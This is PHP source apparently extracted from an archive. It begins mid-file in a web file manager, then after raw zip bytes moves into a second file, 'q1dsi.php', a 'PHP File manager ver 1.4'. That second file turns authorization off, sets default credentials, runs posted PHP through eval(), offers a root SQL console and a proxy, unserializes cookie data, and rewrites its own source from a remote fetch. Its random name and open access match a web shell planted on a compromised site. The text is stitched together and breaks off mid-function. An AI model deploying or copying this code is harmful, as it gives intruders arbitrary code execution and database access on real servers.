$current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : '');
$current_dir = safe_realpath_within($current_dir_candidate, $root_anchor);
if($current_dir === false){
$requested_dir = basename($base_dir);
$current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
if($current_dir === false){
$requested_dir = '';
$current_dir = safe_realpath_within($root_anchor, $root_anchor);
}
}
// ==================== PARENT DIRECTORY CALCULATION ====================
if($requested_dir !== ''){
$parent_dir = dirname($requested_dir);
if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = '';
} else {
$parent_dir = '';
}
// ==================== BREADCRUMB NAVIGATION ====================
$dir_parts = [];
if($requested_dir !== ''){
$parts = explode('/', $requested_dir);
$current_path = '';
foreach($parts as $part){
$current_path .= ($current_path ? '/' : '') . $part;
$dir_parts[] = [
'name' => $part,
'path' => $current_path
];
}
}
// ==================== ACTION HANDLING ====================
$action = $_GET['action'] ?? 'list';
$message = '';
switch($action){
case 'view':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
header('Content-Type: text/plain');
readfile($file_path);
exit;
}
break;
case 'edit':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if($_SERVER['REQUEST_METHOD'] === 'POST'){
$content = $_POST['content'] ?? '';
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
if(file_put_contents($file_path, $content) !== false){
$message = "File '{$file}' updated successfully!";
} else {
$message = "Error updating file '{$file}'!";
}
}
// Don't redirect - stay on edit page with message
} else {
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
$content = htmlspecialchars(file_get_contents($file_path));
echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Edit: ".htmlspecialchars($file)."</title></head><body>";
echo "<h2>Edit: ".htmlspecialchars($file)."</h2>";
if($message) echo "<p style='color:green;'>$message</p>";
echo "<form method='post'>";
echo "<textarea name='content' style='width:100%;height:400px;font-family:monospace;'>$content</textarea><br><br>";
echo "<button type='submit'>Save</button> ";
echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>";
echo "</form></body></html>";
exit;
}
}
break;
case 'delete':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
// Check if this is a confirmation request
$confirmed = isset($_GET['confirm']) && $_GET['confirm'] === 'yes';
if($confirmed && safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
if(is_dir($file_path)){
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach($it as $f){
$f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath());
}
rmdir($file_path);
$message = "Folder '{$file}' deleted successfully!";
} else {
if(unlink($file_path)){
$message = "File '{$file}' deleted successfully!";
} else {
$message = "Error deleting file '{$file}'!";
}
}
header('Location: ?action=list&dir=' . urlencode($requested_dir) . '&message=' . urlencode($message));
exit;
} else {
// Show confirmation page
if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Confirm Delete</title></head><body>";
echo "<h2>Confirm Delete</h2>";
echo "<p>Are you sure you want to delete '".htmlspecialchars($file)."'?</p>";
echo "<p><strong>Type: </strong>" . (is_dir($file_path) ? "Folder" : "File") . "</p>";
echo "<p><strong>Path: </strong>" . htmlspecialchars($file_path) . "</p>";
echo "<br>";
echo "<a href='?action=delete&file=".urlencode($file)."&dir=".urlencode($requested_dir)."&confirm=yes' style='color:red;font-weight:bold;'>YES, DELETE</a> | ";
echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>";
echo "</body></html>";
exit;
}
}
break;
case 'upload':
if($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['file'])){
$uploaded = $_FILES['file'];
if($uploaded['error'] === UPLOAD_ERR_OK){
$name = basename($uploaded['name']);
$dest = $current_dir . DIRECTORY_SEPARATOR . $name;
if(safe_realpath_within(dirname($dest), $root_anchor)){
if(move_uploaded_file($uploaded['tmp_name'], $dest)){
@chmod($dest, 0644);
$message = "File '{$name}' uploaded successfully!";
} else {
$message = "Error uploading file '{$name}'!";
}
} else {
$message = "Invalid upload path!";
}
} else {
$message = "Upload error: " . $uploaded['error'];
}
}
// Stay on same page with message
break;
case 'download':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
header('Content-Length: '.filesize($file_path));
readfile($file_path);
exit;
}
break;
case 'create_folder':
if($_SERVER['REQUEST_METHOD'] === 'POST'){
$folder = sanitize_path($_POST['folder_name'] ?? '');
if($folder){
$fp = $current_dir . DIRECTORY_SEPARATOR . $folder;
if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){
if(mkdir($fp, 0755, true)){
$message = "Folder '{$folder}' created successfully!";
} else {
$message = "Error creating folder '{$folder}'!";
}
} else {
$message = "Folder already exists or invalid path!";
}
} else {
$message = "Please enter a folder name!";
}
}
// Stay on same page with message
break;
}
// Get message from URL if redirected
if(isset($_GET['message'])){
$message = $_GET['message'];
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Manager</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: Arial, sans-serif;
background: #f2f4f8;
padding: 20px;
}
.container {
background: #fff;
padding: 20px;
border-radius: 10px;
box-shadow: 0 0 10px rgba(0,0,0,.08);
}
h1 {
margin-bottom: 12px;
}
.table {
width: 100%;
border-collapse: collapse;
}
th, td {
padding: 10px;
border-bottom: 1px solid #eee;
}
th {
background: #007bff;
color: #fff;
text-align: left;
}
.trhover:hover {
background: #fafbfc;
}
.btn {
display: inline-block;
padding: 6px 10px;
background: #007bff;
color: #fff;
border-radius: 6px;
text-decoration: none;
margin-right: 6px;
border: none;
cursor: pointer;
font-size: 14px;
}
.btn:hover {
background: #0056b3;
}
.btn-danger {
background: #dc3545;
}
.btn-danger:hover {
background: #c82333;
}
.btn-success {
background: #28a745;
}
.btn-success:hover {
background: #218838;
}
.pathbar {
background: #eef2f5;
padding: 10px;
border-radius: 8px;
margin-bottom: 15px;
}
.toolbar {
margin-bottom: 12px;
padding: 10px;
background: #f8f9fa;
border-radius: 8px;
}
.small {
font-size: 0.9em;
color: #666;
}
.message {
padding: 10px;
margin: 10px 0;
border-radius: 5px;
font-weight: bold;
}
.message.success {
background: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.message.error {
background: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
input[type="text"], input[type="file"] {
padding: 8px;
border: 1px solid #ddd;
border-radius: 4px;
margin-right: 5px;
}
.breadcrumb {
margin: 10px 0;
font-size: 14px;
}
.breadcrumb a {
color: #007bff;
text-decoration: none;
}
.breadcrumb a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<h1>File Manager - <?= htmlspecialchars($current_dir) ?></h1>
<?php if($message): ?>
<div class="message <?= strpos($message, 'Error') === false ? 'success' : 'error' ?>">
<?= htmlspecialchars($message) ?>
</div>
<?php endif; ?>
<div class="pathbar">
<!-- Navigation buttons -->
<a class="btn" href="?action=list&dir=<?= urlencode($parent_dir) ?>">← Back</a>
<a class="btn" href="?action=list&dir=<?= urlencode(basename($base_dir)) ?>">🏠 Project</a>
<a class="btn" href="?action=list&dir=">📁 Root</a>
<span class="small"> Current:
<?php if($requested_dir === ''): ?>
/ (<?= htmlspecialchars($root_anchor) ?>)
<?php else: ?>
/<?= htmlspecialchars($requested_dir) ?>
<?php endif; ?>
</span>
<!-- Breadcrumb navigation -->
<div class="breadcrumb">
<a href="?action=list&dir=">Root</a>
<?php foreach($dir_parts as $p): ?>
› <a href="?action=list&dir=<?= urlencode($p['path']) ?>"><?= htmlspecialchars($p['name']) ?></a>
<?php endforeach; ?>
</div>
</div>
<div class="toolbar">
<form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;">
<input type="file" name="file" required>
<button class="btn btn-success" type="submit">📤 Upload</button>
</form>
<form method="post" action="?action=create_folder&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;margin-left:8px;">
<input type="text" name="folder_name" placeholder="New Folder Name" required>
<button class="btn btn-success" type="submit">📁 Create Folder</button>
</form>
</div>
<?php
$files = get_file_list($current_dir);
if(empty($files)): ?>
<p><i>No files or folders found in this directory.</i></p>
<?php else: ?>
<table class="table">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Size</th>
<th>Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach($files as $f): ?>
<tr class="trhover">
<td>
<?php if($f['type'] === 'directory'): ?>
📁 <strong><?= htmlspecialchars($f['name']) ?></strong>
<?php else: ?>
📄 <?= htmlspecialchars($f['name']) ?>
<?php endif; ?>
</td>
<td><?= $f['type'] ?></td>
<td><?= $f['type'] === 'directory' ? '-' : format_size($f['size']) ?></td>
<td><?= $f['modified'] ?></td>
<td>
<?php if($f['type'] === 'directory'):
$next_rel = ($requested_dir !== '' ? $requested_dir . '/' : '') . $f['name'];
?>
<a class="btn" href="?action=list&dir=<?= urlencode($next_rel) ?>">Open</a>
<?php else: ?>
<a class="btn" href="?action=edit&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Edit</a>
<a class="btn" href="?action=download&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Download</a>
<?php endif; ?>
<a class="btn btn-danger" href="?action=delete&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Delete</a>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
<div style="margin-top: 20px; padding: 10px; background: #f8f9fa; border-radius: 5px;">
<small>
<strong>Security Info:</strong>
You can only access files within: <?= htmlspecialchars($root_anchor) ?>
</small>
</div>
</div>
<script>
// Simple confirmation for delete links
document.addEventListener('DOMContentLoaded', function() {
var deleteLinks = document.querySelectorAll('a[href*="action=delete"]');
deleteLinks.forEach(function(link) {
link.addEventListener('click', function(e) {
// Let the server handle confirmation - don't prevent default
// The server will show a confirmation page
});
});
});
</script>
</body>
</html>PK �em\6^�d�5 �5 q1dsi.phpnu �[��� <?php
/* PHP File manager ver 1.4 */
// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0;
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
